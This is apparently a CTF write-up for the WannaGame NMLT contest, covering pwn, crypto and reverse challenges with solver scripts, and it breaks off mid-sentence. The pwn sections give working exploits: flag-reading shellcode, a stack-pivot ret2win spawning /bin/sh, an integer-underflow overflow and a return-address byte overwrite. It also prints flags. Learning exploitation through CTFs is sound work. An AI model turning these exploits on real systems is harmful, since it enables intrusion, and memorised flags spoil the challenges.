# WannaGame NMLT | Challenge | Category | Score | |---------------------|-----------|-------| | **Hello pwner** | Pwn | 0 | | **Guess Me** | Pwn | 248 | | **orw32** | Pwn | 736 | | **orw64** | Pwn | 736 | | **sint** | Pwn | 487 | | **pivot** | Pwn | 854 | | **Guess Me V2** | Pwn | 1000 | | **substitution** | Crypto | 214 | | **hix** | Crypto | 221 | | **DH** | Crypto | 308 | | **GiacMoTrua2** | Reverse | 217 | | **Easy Flag Checker**| Reverse | 217 | | **GiacMoTrua1** | Reverse | 239 | ## Pwn ### Hello pwner ![image](https://hackmd.io/_uploads/Hk-IRanHkl.png) ![image](https://hackmd.io/_uploads/H1OeTFwL1g.png) Visit [there](https://syscalls64.paolostivanin.com/) to know how to use syscall. ![image](https://hackmd.io/_uploads/HyichFDLJx.png) rax = 0x01 mean you call syscall write rdi = 0x01 is File descriptor (stdout) rsi = the string or something that you want to print out rdx = the size of the output With the calling syscall 60 you can also look at the link that i have send before to know what is it :smile_cat: Flag: W1{welcome_to_assembly} ### Guess Me ![image](https://hackmd.io/_uploads/HyTfKTpSJx.png) ![image](https://hackmd.io/_uploads/ByzOkChSJl.png) Checksec of this challenge ```c int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [rsp+Ch] [rbp-14h] BYREF unsigned int v5; // [rsp+10h] [rbp-10h] unsigned int v6; // [rsp+14h] [rbp-Ch] unsigned __int64 v7; // [rsp+18h] [rbp-8h] v7 = __readfsqword(0x28u); init(argc, argv, envp); signal(14, handle_alarm); v6 = rand() % 100000000 + 1; v5 = 27; puts("Welcome to the Guessing Game!"); printf("You have %u attempts to guess the number between 1 and %d.\n", 27LL, 100000000LL); puts("You also have 4 seconds before the game ends!\n"); puts("Good luck!\n"); while ( (int)v5 > 0 ) { printf("Attempts left: %u\n", v5); printf("Enter your guess: "); if ( (unsigned int)__isoc99_scanf("%u", &v4) == 1 && v4 > 0 ) { if ( v6 == v4 ) { read_flag(); printf("Congratulations! You guessed the correct number: %u.\n", v6); printf("Here is your flag: %s\n", flag); break; } if ( (int)v6 <= v4 ) puts("Too high! Try again."); else puts("Too low! Try again."); --v5; } else { puts("Invalid input! Please enter a positive integer."); while ( getchar() != 10 ) ; } } if ( !v5 ) printf("\nGame Over! The correct number was %u.\n", v6); return 0; } ``` After reversing the file, it's just a basic binary search challenge ```python from pwn import * # ip = # port = # p = remote(ip, port) p = process('./chall') l = 1 r = 100000000 recv = p.recvuntil(b'Good luck!\n') recv = p.recvline() print(recv) while l <= r: mid = (l + r) // 2 recv = p.recvline() print(recv) p.sendline(str(mid)) print(str(mid)) recv = p.recvline() print(recv) if b'Too high! Try again.' in recv: r = mid - 1 elif b'Too low! Try again.' in recv: l = mid + 1 else: break # gdb.attach(p) p.interactive() ``` This is my script Flag: ```flag{BiNaRy_sEaRcH _iS_FuN_RiGhT_?}``` ### orw32 ![image](https://hackmd.io/_uploads/BkbgdTaSkl.png) ```cpp #include <stdio.h> #include <stdlib.h> #include <sys/mman.h> #include <unistd.h> #include <seccomp.h> #include <sys/prctl.h> #include <fcntl.h> void * shellcode; void sandbox() { scmp_filter_ctx ctx; ctx = seccomp_init(SCMP_ACT_KILL); if (ctx == NULL) { printf("seccomp error\n"); exit(0); } seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(rt_sigreturn), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(openat), 0); seccomp_load(ctx); } int main(void){ setvbuf(stdin, 0, _IONBF, 0); setvbuf(stdout, 0, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); shellcode = mmap(0, 0x1000,PROT_EXEC | PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE,-1,0); if(shellcode == (void*)-1){ perror("mmap failed. Exiting"); exit(-1); } printf("Input your shellcode: "); read(STDIN_FILENO, shellcode, 0x1000); sandbox(); ((void (*)(void))shellcode)(); return EXIT_SUCCESS; } ``` After reversing it, the thing that I need to do is just only use some syscall that in sandbox() allow to read flag.txt. ```asm from pwn import * shellcode = asm(""" xor eax, eax xor ecx, ecx mov eax, 0x5 push ecx push 0x7478742e push 0x67616c66 mov ebx, esp int 0x80 mov ecx, ebx mov ebx, eax mov eax, 0x3 mov edx, 0x100 int 0x80 mov edx, eax mov eax, 0x4 mov ebx, 0x1 int 0x80 mov eax, 0x1 mov ebx, 0 int 0x80 """, arch = 'i386') r = process("./orw") # r = remote("chall.w1playground.com",13111) r.sendline(shellcode) r.interactive() ``` This is my script. Flag: W1{3eee77de7272c6a53d5566648d93a270dd5a3d4a22d008973bc5e50c3f634ed1} ![image](https://hackmd.io/_uploads/ryPROa6Byl.png) I also spend a lot of time doing this challenge because my coding skill issue, I forgot something in sys_read so it can't give me the flag but it still work in local :smile: ### orw64 ![image](https://hackmd.io/_uploads/BJYAiuRBye.png) Still the same with orw32, you just need to change code from 32bit to 64bit ```python from pwn import * shellcode = asm(""" xor rax, rax mov rdi, -100 lea rsi, [rip+filename] xor rdx, rdx mov rax, 257 syscall mov rdi, rax lea rsi, [rsp] mov rdx, 0x100 xor rax, rax syscall mov rdx, rax mov rax, 1 mov rdi, 1 syscall xor rax, rax mov rax, 60 xor rdi, rdi syscall filename: .ascii "flag.txt\\0" """, arch='amd64') # p = process("./orw") p = remote("chall.w1playground.com", 19344) p.sendline(shellcode) p.interactive() ``` Flag: W1{6887a32dc67c303c7a6cba79d0c95131be48186ac9342877345d6b83aa58ddc6} ### pivot ![image](https://hackmd.io/_uploads/HyiU9eyIJg.png) ![image](https://hackmd.io/_uploads/S1joqg1Ukx.png) ``` Dump of assembler code for function main: 0x00000000004012c1 <+0>: endbr64 0x00000000004012c5 <+4>: push rbp 0x00000000004012c6 <+5>: mov rbp,rsp 0x00000000004012c9 <+8>: sub rsp,0x20 0x00000000004012cd <+12>: mov DWORD PTR [rbp-0x14],edi 0x00000000004012d0 <+15>: mov QWORD PTR [rbp-0x20],rsi 0x00000000004012d4 <+19>: mov eax,0x0 0x00000000004012d9 <+24>: call 0x4011d6 <init> 0x00000000004012de <+29>: mov edi,0x100000 0x00000000004012e3 <+34>: call 0x4010d0 <malloc@plt> 0x00000000004012e8 <+39>: mov QWORD PTR [rbp-0x8],rax 0x00000000004012ec <+43>: mov rax,QWORD PTR [rbp-0x8] 0x00000000004012f0 <+47>: add rax,0x1000 0x00000000004012f6 <+53>: mov QWORD PTR [rbp-0x10],rax 0x00000000004012fa <+57>: mov rax,QWORD PTR [rbp-0x10] 0x00000000004012fe <+61>: mov rdi,rax 0x0000000000401301 <+64>: call 0x40123c <pwn> 0x0000000000401306 <+69>: mov eax,0x0 0x000000000040130b <+74>: leave 0x000000000040130c <+75>: ret ``` ``` Dump of assembler code for function init: 0x00000000004011d6 <+0>: endbr64 0x00000000004011da <+4>: push rbp 0x00000000004011db <+5>: mov rbp,rsp 0x00000000004011de <+8>: mov rax,QWORD PTR [rip+0x2e3b] # 0x404020 <stdin@@GLIBC_2.2.5> 0x00000000004011e5 <+15>: mov ecx,0x0 0x00000000004011ea <+20>: mov edx,0x2 0x00000000004011ef <+25>: mov esi,0x0 0x00000000004011f4 <+30>: mov rdi,rax 0x00000000004011f7 <+33>: call 0x4010e0 <setvbuf@plt> 0x00000000004011fc <+38>: mov rax,QWORD PTR [rip+0x2e0d] # 0x404010 <stdout@@GLIBC_2.2.5> 0x0000000000401203 <+45>: mov ecx,0x0 0x0000000000401208 <+50>: mov edx,0x2 0x000000000040120d <+55>: mov esi,0x0 0x0000000000401212 <+60>: mov rdi,rax 0x0000000000401215 <+63>: call 0x4010e0 <setvbuf@plt> 0x000000000040121a <+68>: nop 0x000000000040121b <+69>: pop rbp 0x000000000040121c <+70>: ret ``` ``` Dump of assembler code for function pwn: 0x000000000040123c <+0>: endbr64 0x0000000000401240 <+4>: push rbp 0x0000000000401241 <+5>: mov rbp,rsp 0x0000000000401244 <+8>: sub rsp,0x30 0x0000000000401248 <+12>: mov QWORD PTR [rbp-0x28],rdi 0x000000000040124c <+16>: mov rax,QWORD PTR [rbp-0x28] 0x0000000000401250 <+20>: mov rsi,rax 0x0000000000401253 <+23>: lea rdi,[rip+0xdaa] # 0x402004 0x000000000040125a <+30>: mov eax,0x0 0x000000000040125f <+35>: call 0x4010b0 <printf@plt> 0x0000000000401264 <+40>: lea rdi,[rip+0xda8] # 0x402013 0x000000000040126b <+47>: mov eax,0x0 0x0000000000401270 <+52>: call 0x4010b0 <printf@plt> 0x0000000000401275 <+57>: mov rax,QWORD PTR [rbp-0x28] 0x0000000000401279 <+61>: mov edx,0xff 0x000000000040127e <+66>: mov rsi,rax 0x0000000000401281 <+69>: mov edi,0x0 0x0000000000401286 <+74>: call 0x4010c0 <read@plt> 0x000000000040128b <+79>: lea rdi,[rip+0xd93] # 0x402025 0x0000000000401292 <+86>: mov eax,0x0 0x0000000000401297 <+91>: call 0x4010b0 <printf@plt> 0x000000000040129c <+96>: lea rax,[rbp-0x20] 0x00000000004012a0 <+100>: mov edx,0x32 0x00000000004012a5 <+105>: mov rsi,rax 0x00000000004012a8 <+108>: mov edi,0x0 0x00000000004012ad <+113>: call 0x4010c0 <read@plt> 0x00000000004012b2 <+118>: lea rdi,[rip+0xd7c] # 0x402035 0x00000000004012b9 <+125>: call 0x401090 <puts@plt> 0x00000000004012be <+130>: nop 0x00000000004012bf <+131>: leave 0x00000000004012c0 <+132>: ret ``` ``` Dump of assembler code for function run_command: 0x000000000040121d <+0>: endbr64 0x0000000000401221 <+4>: push rbp 0x0000000000401222 <+5>: mov rbp,rsp 0x0000000000401225 <+8>: sub rsp,0x10 0x0000000000401229 <+12>: mov QWORD PTR [rbp-0x8],rdi 0x000000000040122d <+16>: mov rax,QWORD PTR [rbp-0x8] 0x0000000000401231 <+20>: mov rdi,rax 0x0000000000401234 <+23>: call 0x4010a0 <system@plt> 0x0000000000401239 <+28>: nop 0x000000000040123a <+29>: leave 0x000000000040123b <+30>: ret ``` ```c #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> void init(){ setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); } void run_command(char * command){ system(command); } void pwn(char * a1){ char essay[32]; printf("Your gift: %p\n", a1); printf("Enter your name: "); read(STDIN_FILENO, a1, 255); printf("Your password: "); read(STDIN_FILENO, essay, 0x32); puts("Wrong password!!!!"); } int main(int argc, char *argv[]){ init(); char *blank = malloc(0x100000); char *buf = blank + 0x1000; pwn(buf); return EXIT_SUCCESS; } ``` First of all we need to checksec and reverse the file. After reversing it, it's easy for everyone to see that the function **run_command** is the most important function that we need to 'join' and try to call **system("/bin/sh")**. So the thing we need to do is make the **command (rax)** become the pointer of the string **/bin/sh** P/s : in the first I try to make the **command(rax)** become **/bin/sh** instead of the pointer so it meaningless Look at the **pwn** function, the array essay just have 32 char but you can also type **0x32** byte (50 byte) -> you can use it to return to another function (maybe **run_command**) or **rop chain**, my choice is **ret2win** ![image](https://hackmd.io/_uploads/rykAk-k8ye.png) While entering essay array, my **aaaaaaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaal** and it's very easy for you to see that after entering, the rbp is **gaaahaaa** and the rsp is **iaaajaaa** so we the offset is **8 * 5 = 32** (just use to change rsp) ```python from pwn import * p = process('./pivot') # p = remote('chall.w1playground.com',54444) p.recvuntil(b'Your gift: ') stack_leak = int(p.recvline(), 16) run_command = 0x40121D print(hex(stack_leak)) payload = p64(0x00) * 5 + p64(run_command) p.sendline(p64(0x00)) gdb.attach(p) p.sendline(payload) p.interactive() ``` My script at first to connect to **run_command** ![image](https://hackmd.io/_uploads/HJDFlZ1LJl.png) And it also can reach to **run_command** ![image](https://hackmd.io/_uploads/S1m2xb1IJl.png) ![image](https://hackmd.io/_uploads/Hk8pl-yL1e.png) But it's bug because **stack alignment** then i try a lot of way to put one more **ret** before reach to **run_command** because **rax** have also the pointer of the string "/bin/sh" but i can't solve with that idea, so i have try to skip some step in **run_command** Eg: ![image](https://hackmd.io/_uploads/B1kBzZyL1g.png) But it have bug because of [rbp - 8] and **rax** can not be **mov** to the pointer of the string so i'm stuck.... but i have remembered that we also have another array can be use it's **buf** by using rbp (let rbp bring the address of **buf** array) My new script: ```python from pwn import * p = process('./pivot') # p = remote('chall.w1playground.com',54444) p.recvuntil(b'Your gift: ') stack_leak = int(p.recvline(), 16) run_command = 0x40121D print(hex(stack_leak)) payload = p64(0x00) * 4 + p64(stack_leak) + p64(run_command + 16) bin_sh = "/bin/sh" p.sendline(bin_sh.encode('ascii')) gdb.attach(p) p.sendline(payload) p.interactive() ``` But it's still bug because of the reason that i have mentioned before (confused between string pointer and string) ![image](https://hackmd.io/_uploads/S1s-XbJ8kx.png) When i realized that i let rax to be the pointer of the string and the string stay next to it :smile_cat: My last script: ```python from pwn import * # p = process('./pivot') p = remote('chall.w1playground.com',54444) p.recvuntil(b'Your gift: ') stack_leak = int(p.recvline(), 16) run_command = 0x40121D print(hex(stack_leak)) payload = p64(0x00) * 4 + p64(stack_leak + 8) + p64(run_command + 16) bin_sh = "/bin/sh" p.sendline(p64(stack_leak + 8) + bin_sh.encode('ascii')) # gdb.attach(p) p.sendline(payload) p.interactive() ``` Then i got flag ![image](https://hackmd.io/_uploads/BkpQV-k8kx.png) Flag: W1{191ef974e018f68f5907dbb58aaecb67d801bcfdd054113ac504a10fa923e24d} ### sint ![image](https://hackmd.io/_uploads/SJs4MElI1x.png) ![image](https://hackmd.io/_uploads/HyGpGEg81l.png) ```c ssize_t pwn() { unsigned int v1; // [esp+Ch] [ebp-10Ch] BYREF char buf[260]; // [esp+10h] [ebp-108h] BYREF v1 = 0; printf("Size: "); __isoc99_scanf("%d", &v1); if ( v1 >= 0x101 ) { puts("Buffer Overflow!"); exit(0); } printf("Data: "); return read(0, buf, v1 - 16); } ``` ```c void __noreturn win() { system("cat flag.txt"); exit(-1); } ``` After reversing and checksec-ing, the thing we need to do is try some way to reach **win()** function and i guess the bug of this challenge is BOF because v1 is insigned number so what if v1 = 0 => v1 - 16 = -16 ? ![image](https://hackmd.io/_uploads/HyCKvVxIyx.png) v1 - 16 = 0xfffffff0 (0x0 - 0x10). So what **read(0, buf, 0xfffffff0)** (0xfffffff0 > 260) so it will have BOF. So the next thing i need to do is calculate the offset to ret address and i have spammed the address of **win()** 100 times and i got flag :smile_cat: My script: ```python from pwn import * host = 'chall.w1playground.com' port = 40011 p = remote(host, port) # p = process('./sint') payload = b'0' p.sendline(payload) # gdb.attach(p) payload = b'\x8B\x92\x04\x08' * 100 p.sendline(payload) # gdb.attach(p) p.interactive() ``` ![image](https://hackmd.io/_uploads/HyP6_ExLkx.png) Flag: W1{dbd4664aaa39cbe0e15ac1feeed0bb68b13e2d50698d2d47c4e5c84e32e31548} ### GuessMeV2 ![image](https://hackmd.io/_uploads/rkgSusXUJl.png) ![image](https://hackmd.io/_uploads/SkG8OjmLkg.png) ```c unsigned __int64 play() { char v1; // [rsp+3h] [rbp-1Dh] BYREF int v2; // [rsp+4h] [rbp-1Ch] BYREF int v3; // [rsp+8h] [rbp-18h] BYREF unsigned int offset; // [rsp+Ch] [rbp-14h] int *v5; // [rsp+10h] [rbp-10h] unsigned __int64 v6; // [rsp+18h] [rbp-8h] v6 = __readfsqword(0x28u); v2 = randomnumber; v5 = &v2; puts("I give you one chance to modify one byte value of randomnumber variable."); puts("You can only modify 1 byte of randomnumber variable."); printf("Enter the byte offset you want to modify (0-3): "); offset = get_offset(); printf("Enter the new byte value: "); if ( (unsigned int)__isoc99_scanf("%hhu", &v1) != 1 ) { puts("Invalid input! Please enter a byte value."); exit(0); } *((_BYTE *)v5 + offset) = v1; while ( 1 ) { printf("Enter your guess: "); if ( (unsigned int)__isoc99_scanf("%u", &v3) == 1 && v3 > 0 ) break; puts("Invalid input! Please enter a positive integer."); while ( getchar() != 10 ) ; } if ( v3 == v2 ) { read_flag(); printf("Congratulations! You guessed the correct number: %u.\n", (unsigned int)randomnumber); printf("Here is your flag: %s\n", flag); exit(0); } if ( v3 >= v2 ) puts("Too high! See you again."); else puts("Too low! See you again."); if ( randomnumber == -559038737 ) trade_flag(); return v6 - __readfsqword(0x28u); } ``` ```c __int64 get_offset() { __int64 v1[2]; // [rsp+0h] [rbp-10h] BYREF v1[1] = __readfsqword(0x28u); if ( (unsigned int)__isoc99_scanf("%ld", v1) != 1 || v1[0] > 3 ) { puts("You must be a hacker"); exit(0); } return v1[0]; } ``` ```c int read_flag() { int fd; // [rsp+Ch] [rbp-4h] fd = open("./flag.txt", 0); if ( fd < 0 ) { puts("Error open file"); exit(0); } read(fd, flag, 0x64uLL); return close(fd); } ``` ```c void __noreturn trade_flag() { puts("What the fuck?!"); puts("You found the secret function!"); puts("Skibidibi dib yo da dub dub!"); puts("Doggo says: \"I'm pickle Rick!\""); puts("Pickle ball pickle ball pickle ball!"); execve(username, &age, &envp); exit(0); } ``` I spend most of the time to find -bug in this challenge. The bug is in **get_offset**, i can input the negative number, so i can change any byte of the address which stand before **v5** like this ![image](https://hackmd.io/_uploads/SJ67qoXUkl.png) Look at the green row, you can the that rax = (0x7fffffffe4f4 + 0x0) because when the chall ask me **'Enter the new byte value: want to modify (0-3): Enter your age: '** then i enter value 0 so **(0x7fffffffe4f4 + 0x0) still 0x7fffffffe4f4** but what if i try with a negative number ![image](https://hackmd.io/_uploads/BkBXt5wLkl.png) The value that i have entered is **-100** so why there is **0xffffff9c** but not **-0x44** ? ![image](https://hackmd.io/_uploads/Syt2tcv81e.png) This is the reason :v: At fist, i think the author of this challenge want the player solve by changing GOT so i decided to learn it for a day but that teachnique is not the solution for this challenge :smile_cat: so i debug more carefully. ![image](https://hackmd.io/_uploads/S1jeiomU1e.png) In the end of play function, it return to **0x4018f7** (rbp + 008) which is the value of [0x7fffffffe4e8] and of course **0x7fffffffe4e8** is standing before **v5**, so i can change the value of it and it can return to another place but i just can replace 1 byte so i need to find any place have address **0x40xxf7** or **0x4018xx**. I have think about jumping into **trade_flag()** and **read_flag()** but **read_flag()** is more convenient because i need not to ready **username** and **age** to **execve**. Luckily the address of **read_flag()** is **0x4016f7** so i can change the second byte of **rbp + 008** into **0x4016f7** ![image](https://hackmd.io/_uploads/B195JnQIJl.png) ![image](https://hackmd.io/_uploads/H1f313XUke.png) Calculate a little bit the distance from the top of the stack to **rbp + 008** (+1 because i need to change the second byte and 22 is 0x16) ![image](https://hackmd.io/_uploads/BkIWe378yx.png) Flag: W1{https://www.youtube.com/watch?v=MFhxShGxHWc} ## Crypto ### Substitution ```python KEY = { 'A': 'Q', 'B': 'W', 'C': 'E', 'D': 'R', 'E': 'T', 'F': 'Y', 'G': 'U', 'H': 'I', 'I': 'O', 'J': 'P', 'K': 'A', 'L': 'S', 'M': 'D', 'N': 'F', 'O': 'G', 'P': 'H', 'Q': 'J', 'R': 'K', 'S': 'L', 'T': 'Z', 'U': 'X', 'V': 'C', 'W': 'V', 'X': 'B', 'Y': 'N', 'Z': 'M', 'a': 'q', 'b': 'w', 'c': 'e', 'd': 'r', 'e': 't', 'f': 'y', 'g': 'u', 'h': 'i', 'i': 'o', 'j': 'p', 'k': 'a', 'l': 's', 'm': 'd', 'n': 'f', 'o': 'g', 'p': 'h', 'q': 'j', 'r': 'k', 's': 'l', 't': 'z', 'u': 'x', 'v': 'c', 'w': 'v', 'x': 'b', 'y': 'n', 'z': 'm', } def hehe(data, key): return ''.join(key.get(char, char) for char in data) def encrypt(plaintext): substituted = hehe(plaintext, KEY) return substituted if __name__ == "__main__": plaintext = "W1{???????????????}" encrypted = encrypt(plaintext) with open("encrypted.txt", "w") as f: f.write(encrypted) ``` encrypted.txt = V1{lxwlzozxzogf} I put both of them to chatgpt and ask them the answer of this chall :smile_cat: ![image](https://hackmd.io/_uploads/ryAF_1pBJl.png) Flag: W1{substitution} ### HIX ![image](https://hackmd.io/_uploads/B11B4mWUye.png) I put every thing that i can download into ChatGPT and ask it to give me the sources that can solve the problem :smile_cat: ```python3 import hashlib import random import string # Các phương thức hash ngẫu nhiên methods = ['md5', 'sha256', 'sha3_256', 'sha3_512', 'sha3_384', 'sha1', 'sha384', 'sha3_224', 'sha512', 'sha224'] def random_encrypt(x): method = random.choice(methods) hash_obj = hashlib.new(method) hash_obj.update(x.encode()) return hash_obj.hexdigest() # Mã hóa ngược với phép cộng thêm 20 vào giá trị ASCII def decrypt_step(char_encrypted): # Thử với tất cả các ký tự có thể có for c in string.printable: # Sử dụng tất cả ký tự in được # Giải mã bước 1: Thử tìm ra giá trị ASCII của ký tự gốc x = (ord(c) + 20) % 130 # Băm lại giá trị đó bằng SHA-512 sha512_hash = hashlib.sha512(str(x).encode()).hexdigest() # Sử dụng random_encrypt để kiểm tra có trùng khớp không if random_encrypt(sha512_hash) == char_encrypted: return c # Trả về ký tự tìm được return None # Hàm giải mã toàn bộ flag def decrypt_flag(ct): # Tạo biến chứa flag có chiều dài tương đương với ct flag = ["?"] * len(ct) # Dài bằng số lượng phần tử trong ct # Số lần lặp lại để thử giải mã attempts = 0 while "?" in flag and attempts < 1000: # Giới hạn số lần thử attempts += 1 for i, encrypted_char in enumerate(ct): decrypted_char = decrypt_step(encrypted_char) if decrypted_char: # Thay thế dấu "?" ở vị trí tương ứng if flag[i] == "?": # Chỉ thay thế khi là dấu chấm hỏi flag[i] = decrypted_char print("Attempt:", attempts, "".join(flag)) # In ra trạng thái của flag mỗi lần thử return "".join(flag) # Chuỗi mã hóa bạn cung cấp ct = [ 'f189636f8eef640b55d03387864fd17efd324453cc9276be5ff6bd4da88b13fca72438daaab00830a6d14330d37c0f7bee1e7c32d5dda0541a171f66a2343dc1', '1388cafa58065fa0c04372ce57f303cc4ec9fe62', 'f6266e2849bf8b8575701814cc3f3eb5369e887db54b34e85b1e4608b4fbf5e5', '31f33ac191e818db784cf8321d70f84763db2b2e599f90cf65868eec85a10f20ae0e23aa1cd48c2f13eec355b2975089490761a291ac2a1bcf33f5fbecead431', '981e4bce5dede3faa51a936f650e2c1d64169493860c67d68a1ffbbfa32f58598e7869f3f11aefc1620ee8d3ebe4e5f5', 'f06ffaaa6290bf47d26ba2c09c28dddd8f5bcad6ac464ec17fea48040acf1214d10bc109b7c47cffddb6bccd6b61b61a9e629a8f47ab26b80593f29c8c297489', 'a7d95b3bbde885b4eaa76afc6572e18e4483351005f637fe1f5a7bc0b000fe1f', '85245de371c327440a5f343f27d6df361225806e679950bab3a5a336', 'ea1923e909de3c3c3384ad9ae7696d73', '21df20aab35967470aada32375f535d4a735789bf0789fd421f85163c4d75c6e', 'b9491ae1a9de40d30a86c00139bd7d6f496f5bf4ce013bc2d5a43a97', '03f061f60f3527b15ff31d31dcce0761', '981e4bce5dede3faa51a936f650e2c1d64169493860c67d68a1ffbbfa32f58598e7869f3f11aefc1620ee8d3ebe4e5f5', 'f2a1a7e9dd5e6363050b0cdb0579ebfebdc5e348ab538bdcf47616139351cf2b9f92cb4d14446b3ad8bf182875b81e75', '24aaafc58a2b897aed5829b2e96d73b1de7cd680d76a1143cdc8baef', '6d80d11e5f1161ef86619dcdb186852b5218d6ac224b81b63555fe73741631c36ae0bcb5b3228fbed796c22dedeed587c9d65ddb825aee4fae92b6619e7ffd8f', '6f8b39550106044625102ee0cabf9fe1393f0013388633d5742fcc7e8df7708793a96885b9d18b795a2b0d9014704b9f', 'ddf3c543be9cac44f3af078583fe5fddb64104d93308c146c23f52ff25b2a6e23606c42dc0060a4dd9b11b446759cb5de1844471eb3d6d25c43c6fcc0d8d60c4', '95f2739053cf64555b0c0662b5e2d63822433f7fcac6960de6d57efda427461a58c6e2ffac6da6f4caa9407df10cc0be', 'a1bd4e0efc7ce8bd1d63433a0baa87e3a486fbfe2729d73d1dbf7d2822d201ee8726c6d94da1f09f1a53554e440ad6041ecab545b2085dc28c6f6849f0fcea23', 'a7d95b3bbde885b4eaa76afc6572e18e4483351005f637fe1f5a7bc0b000fe1f', '2b4561a521a82af6a26dfb76078ca97ba53a720f7ee67d923a6d3a13', 'b21ed1f3d501a8a842ef1b26ed3863cf10cf8231ee23a079f749cfa322702c8e', 'd798a32b52384219f8779dccf8b2173f4b73f075cbeb4507ee83c94e', 'b863fa3492fb87edcdef766f38a508ed', '9f876db4b58c1b7e499f35cdbd533a810060a0c8250bfc5421e0f42b2715b027', '4b14748ba0f3da581ddd7ec49dac41d34ea1ee6dae90818333b11501', '85153b2a5f8dea7f5488906cb65d61e9ac0666057636ff6b356dd4d8d0fc5d20', '6b91d6259827176bcb3f312a8faca297e56c7e627235b930cf8163b3e7a5328b', 'b21ed1f3d501a8a842ef1b26ed3863cf10cf8231ee23a079f749cfa322702c8e', '4c8740f90af1055f194a4c8e1b69522da228812465eb72b82b35c927bc48bf9d', 'b248b6b2f2c9365aa9a0e9b37a8057effd29bb2f34c79ec0b40124d08986832b5d227db95cb97b176541589985762d9a', '7260f9b5d1c58d0609523114ed324f396335d940f852dba558461b34c5a53630', 'a1bd4e0efc7ce8bd1d63433a0baa87e3a486fbfe2729d73d1dbf7d2822d201ee8726c6d94da1f09f1a53554e440ad6041ecab545b2085dc28c6f6849f0fcea23', '1077caf3ed754ed8fbd49c76134906e8', 'f3565219d115ec74a85056997cc25e98e3e4912a31c858c1e45b841047698e93', '83315b8fa07a35b12e3f47ebb365268b4a4a8ef2', '64c008d6460c2b98aba616b1d0d11a06b9df564b87d3aeedda83b36aacd3d0c160465109eb06c62e86e360cf026faa27a616dbbf2bec269be9ad128af96073bb', '60bbd94b3ac3ea7149fc6cd850d72d4f1750601275832815dd9a23d4c3757d84aca29d716da5dd72a0045f15ff969925', '94327e8c8321421e72f52cd726336e824630ec7dda31b07ce83f11b8234aea7a', 'a69ef62254280226cc4223a2341c727afcd7ce4e3ffd3f2f1c57d9d3cd30659b52b1c2b56f911a7157041b5f0ff8176f', '3c904622c8d8d79c6704d50ae0175b049b3a5708705ecdce932fe426b9f46f1bd6585b8288c1d38f6301c31af5feac02', 'a3939bf491ffd9824056e249d6e355d8423855f0' ] # Giải mã flag từ danh sách mã hóa flag = decrypt_flag(ct) print("Final Flag:", flag) ``` Then i run it ![image](https://hackmd.io/_uploads/H1wKVXZIJl.png) Flag: W1{are_you_trying_to_predict_randomness@_@} ### DH ![image](https://hackmd.io/_uploads/H111C7-IJl.png) Same with some crypto challenge before i just put everything into chatGPT and ask them to help me. But it have some problem about the time so i read carefully and this problem is nearly same with a problem that i and my team have solved before in **1337** so i also ask chatGPT to help me solve it with meet-in-the-middle algorithm. ```python from Crypto.Cipher import AES from Crypto.Util.Padding import unpad from hashlib import sha256 from Crypto.Util.number import long_to_bytes from sympy import mod_inverse from math import isqrt # Baby-step Giant-step (BSGS) Algorithm to find b such that g^b ≡ B (mod p) def bsgs(g, B, p, max): m = isqrt(max) + 1 # Step 1: Compute m = ceil(sqrt(p)) # Baby step: Precompute g^j mod p for j in [0, m-1] baby_steps = {} current = 1 for j in range(m): baby_steps[current] = j current = (current * g) % p # Giant step: Precompute g^(-m) mod p and search for a match g_m_inv = mod_inverse(pow(g, m, p), p) current = B for i in range(m): if current in baby_steps: return i * m + baby_steps[current] current = (current * g_m_inv) % p return None # No solution found # Dữ liệu đã cho p = 85013941328859365232686230728938372320812319905627686919070637645614632817039920673725615375841158719310596592903101914818137738460649589340349796188816568005092757847 g = 20033344683527080232439150682925185454003164954955126339094967675384779782733210350757021743656898625398860187361281262413493941502725149445995471514781822892886669776 A = 76548721461171533747911417838852759206858825205673491250696441734297318615226024320798706656529038703728631231084155790148283919370554345818139818854112841655270107839 B = 2103083080159597422706551446020625757109756570951674830166998494220734179439318911618156966499109201221652320384817270671579741987575328177442670242481963924501204498 encrypted = "240e7b7678aaaa0dcbe06de7c5598a1ca0be7e2ae584bc7dfd2388cdb1d4fb6a37ceb94556757afc293999cbe5a5a2dbb4071ebf6cfd4332088555f9b2de1922" # Tìm b sử dụng BSGS b = bsgs(g, B, p, 2**42) if b is None: print("Không thể tìm giá trị b.") else: print(f"Đã tìm thấy b = {b}") # Tính shared secret ss ss = pow(A, b, p) # Tạo khóa AES từ shared secret key = sha256(long_to_bytes(ss)).digest()[:16] # Giải mã dữ liệu cipher = AES.new(key, AES.MODE_ECB) ct_bytes = bytes.fromhex(encrypted) pt_bytes = unpad(cipher.decrypt(ct_bytes), AES.block_size) flag_part = pt_bytes.decode() print(f"Flag phần đã giải mã: {flag_part}") ``` ![image](https://hackmd.io/_uploads/rJOLRQbIkg.png) Flag: W1{so_you_know_about_the_Diffie-Hellman-key_exchange} ## Rev ### GiacMoTrua2 ```c int __cdecl main(int argc, const char **argv, const char **envp) { int i; // [rsp+Ch] [rbp-74h] char s[104]; // [rsp+10h] [rbp-70h] BYREF unsigned __int64 v6; // [rsp+78h] [rbp-8h] v6 = __readfsqword(0x28u); printf("Give me your secret string: "); fgets(s, 100, _bss_start); if ( s[0] == 'W' && s[1] == 49 ) { Lookthis(); for ( i = 0; i <= 32; ++i ) { if ( flag[i] != s[i] ) { puts("Maybe... It's not the correct flag!"); return 0; } } puts("Correct, Good eyes!"); return 0; } else { puts("Did you forget flag format?"); return 0; } } ``` ```c __int64 Lookthis() { __int64 result; // rax int i; // [rsp+4h] [rbp-Ch] int j; // [rsp+8h] [rbp-8h] int k; // [rsp+Ch] [rbp-4h] for ( i = 3; 